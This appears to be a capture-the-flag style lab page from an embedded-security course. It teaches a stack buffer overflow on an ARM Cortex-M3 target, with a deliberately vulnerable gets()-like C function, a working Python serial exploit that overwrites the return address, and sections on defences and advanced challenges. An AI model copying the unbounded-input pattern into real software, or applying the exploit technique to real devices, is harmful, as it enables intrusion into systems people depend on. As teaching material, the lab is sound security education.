Lab 01: Buffer Overflow¶
Introduction¶
Buffer overflow vulnerabilities have plagued software since the earliest days of computing. This lab recreates the classic gets() vulnerability that enabled the Morris Worm in 1988 - the first major security incident on the Internet.
Difficulty: Easy
Category: Memory Corruption
Historical Context: Morris Worm (November 2, 1988)
Learning Objectives¶
By completing this lab, you will:
- Understand how stack-based buffer overflows work
- Learn ARM Cortex-M3 calling conventions and stack layout
- Practice controlling program execution flow
- Develop working exploits for embedded systems
- Appreciate why input validation is critical
Historical Background¶
The Morris Worm (1988)¶
On November 2, 1988, Robert Morris released what would become known as the first Internet worm. Among its propagation methods was exploiting a buffer overflow in the fingerd daemon:
The worm infected approximately 6,000 computers (10% of the Internet at the time), causing widespread disruption and leading to:
- Creation of CERT (Computer Emergency Response Team)
- First conviction under the Computer Fraud and Abuse Act
- Fundamental changes in how we approach computer security
Vulnerability Overview¶
The Vulnerable Pattern¶
void check_password(void)
{
char buffer[64]; // Fixed-size stack buffer
embsec_printf("Enter password: ");
embsec_gets(buffer, 0); // Size parameter ignored!
// ... authentication logic ...
}
The embsec_gets() function mimics the dangerous gets() function - it reads input until a newline without checking buffer boundaries.
Why This Is Dangerous¶
When input exceeds the buffer size:
- Adjacent stack memory is overwritten
- This includes the function's return address
- Attacker controls where the function returns
- Arbitrary code execution becomes possible
Lab Setup¶
Prerequisites¶
- EMBSEC development environment
- Basic understanding of stack memory
- Python 3 for exploit development
Getting Started¶
-
Build and flash the vulnerable binary:
-
Connect to the target:
-
Explore the application:
Understanding the Target¶
Application Flow¶
- Main Menu: Provides three options
- Login (Option 1): Calls vulnerable
check_password() - Debug Info (Option 2): Reveals critical memory addresses
- Reset (Option 3): Restarts the system
The Goal¶
The application contains a grant_access() function that displays the flag, but it's never called during normal execution. Your goal is to redirect execution to this function.
Vulnerability Analysis¶
Step 1: Information Gathering¶
Select option 2 to view debug information:
=== Debug Information ===
Buffer address: 0x20000100
Return address location: 0x20000148
Target function: 0x00000431
This tells us:
- Local buffer starts at
0x20000100 - Return address stored at
0x20000148 - Offset needed:
0x148 - 0x100 = 72 bytes - Target function at
0x00000431
Step 2: Understanding ARM Specifics¶
ARM Cortex-M3 important details:
- Uses Thumb instruction set exclusively
- Function addresses must have LSB = 1
- Stack grows downward
- Little-endian byte ordering
Step 3: Stack Layout¶
Higher Addresses
+------------------+
| Return Address | <- We overwrite this
+------------------+
| Saved Registers |
+------------------+
| Local Variables |
+------------------+
| buffer[63] |
| ... |
| buffer[0] | <- Input starts here
+------------------+
Lower Addresses
Exploitation¶
Building the Exploit¶
#!/usr/bin/env python3
import struct
import serial
import time
# Configure serial connection
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=1)
def send_command(cmd):
ser.write(cmd.encode() + b'\n')
time.sleep(0.1)
# Navigate menu
send_command('1') # Select login
# Build payload
payload = b'A' * 72 # Fill buffer + padding to return address
# Target address (with Thumb bit set)
target = 0x00000431 | 1 # Set LSB for Thumb mode
payload += struct.pack('<I', target) # Little-endian packing
# Send exploit
ser.write(payload + b'\n')
# Read response
response = ser.read(1000)
print(response.decode('latin-1'))
Manual Exploitation¶
If using screen directly:
- Select option 1 (Login)
-
Generate payload:
-
Copy and paste the output when prompted for password
Expected Result¶
Understanding the Exploit¶
What Happened?¶
- Buffer Overflow: Our 76-byte input overflowed the 64-byte buffer
- Stack Corruption: Extra data overwrote stack contents
- Return Address Control: Bytes 73-76 replaced the return address
- Execution Redirect: Function returned to
grant_access()instead - Flag Retrieved: Target function executed, displaying the flag
Why It Works¶
This system lacks modern protections:
- No Stack Canaries: No detection of stack corruption
- No ASLR: Addresses are predictable
- No DEP/NX: Stack may be executable
- Fixed Addresses: Embedded systems often have static memory layouts
Defensive Measures¶
Immediate Fixes¶
-
Use Bounded Input Functions:
-
Input Validation:
Compiler Protections¶
Enable stack protection:
Architecture Features¶
For systems with MPU (Memory Protection Unit):
- Mark stack as non-executable
- Set up guard regions
- Implement privilege separation
Advanced Challenges¶
Challenge 1: Blind Exploitation¶
Can you exploit without using debug info? Try:
- Fuzzing to find the offset
- Binary analysis to locate addresses
- Information leaks to discover layout
Challenge 2: Limited Input¶
What if input was restricted to 80 bytes? Consider:
- Finding closer targets
- Using gadgets in existing code
- Chaining multiple vulnerabilities
Challenge 3: ASLR Bypass¶
If addresses were randomized:
- Find information disclosure bugs
- Use partial overwrites
- Brute force on 32-bit systems
Common Pitfalls¶
1. Forgetting Thumb Mode¶
Problem: Crash when jumping to even addresses
Solution: Always set LSB to 1 for function pointers
2. Wrong Endianness¶
Problem: Address bytes in wrong order
Solution: Use struct.pack('<I', addr) for little-endian
3. Incorrect Offset¶
Problem: Not reaching return address
Solution: Use pattern generation tools or debug carefully
4. Serial Issues¶
Problem: Bytes corrupted during transmission
Solution: Check for special characters, use proper encoding
Real-World Impact¶
Buffer overflows remain relevant:
- 2021: Sudo heap overflow (CVE-2021-3156)
- 2020: Windows SMBv3 overflow (CVE-2020-0796)
- 2019: WhatsApp RCE via buffer overflow
- Embedded: IoT devices frequently vulnerable
Key Takeaways¶
- Never Trust Input: Always validate length and content
- Defense in Depth: Use multiple protection mechanisms
- Legacy Code: Old vulnerabilities persist in embedded systems
- Security Mindset: Think like an attacker when coding
- Continuous Learning: New variants constantly discovered
Further Reading¶
Technical References¶
- Smashing The Stack For Fun And Profit - Aleph One's classic paper
- ARM Exploitation - Modern ARM exploitation techniques
- The Shellcoder's Handbook - Comprehensive exploitation guide
Historical Context¶
- The Internet Worm Program: An Analysis - Spafford's analysis
- A Tour of the Worm - Technical deep dive
- RFC 1135 - The Helminthiasis of the Internet
Modern Techniques¶
- Return-Oriented Programming (ROP)
- Jump-Oriented Programming (JOP)
- Heap exploitation methods
- Kernel exploitation
Next Steps¶
Congratulations on completing the Buffer Overflow lab! You've learned:
- How buffer overflows work at a low level
- ARM-specific exploitation requirements
- Why input validation is critical
- How to develop working exploits
Continue to Lab 02: Format String to explore a different class of memory corruption vulnerabilities.
Remember: Use these skills responsibly and only on systems you own or have permission to test.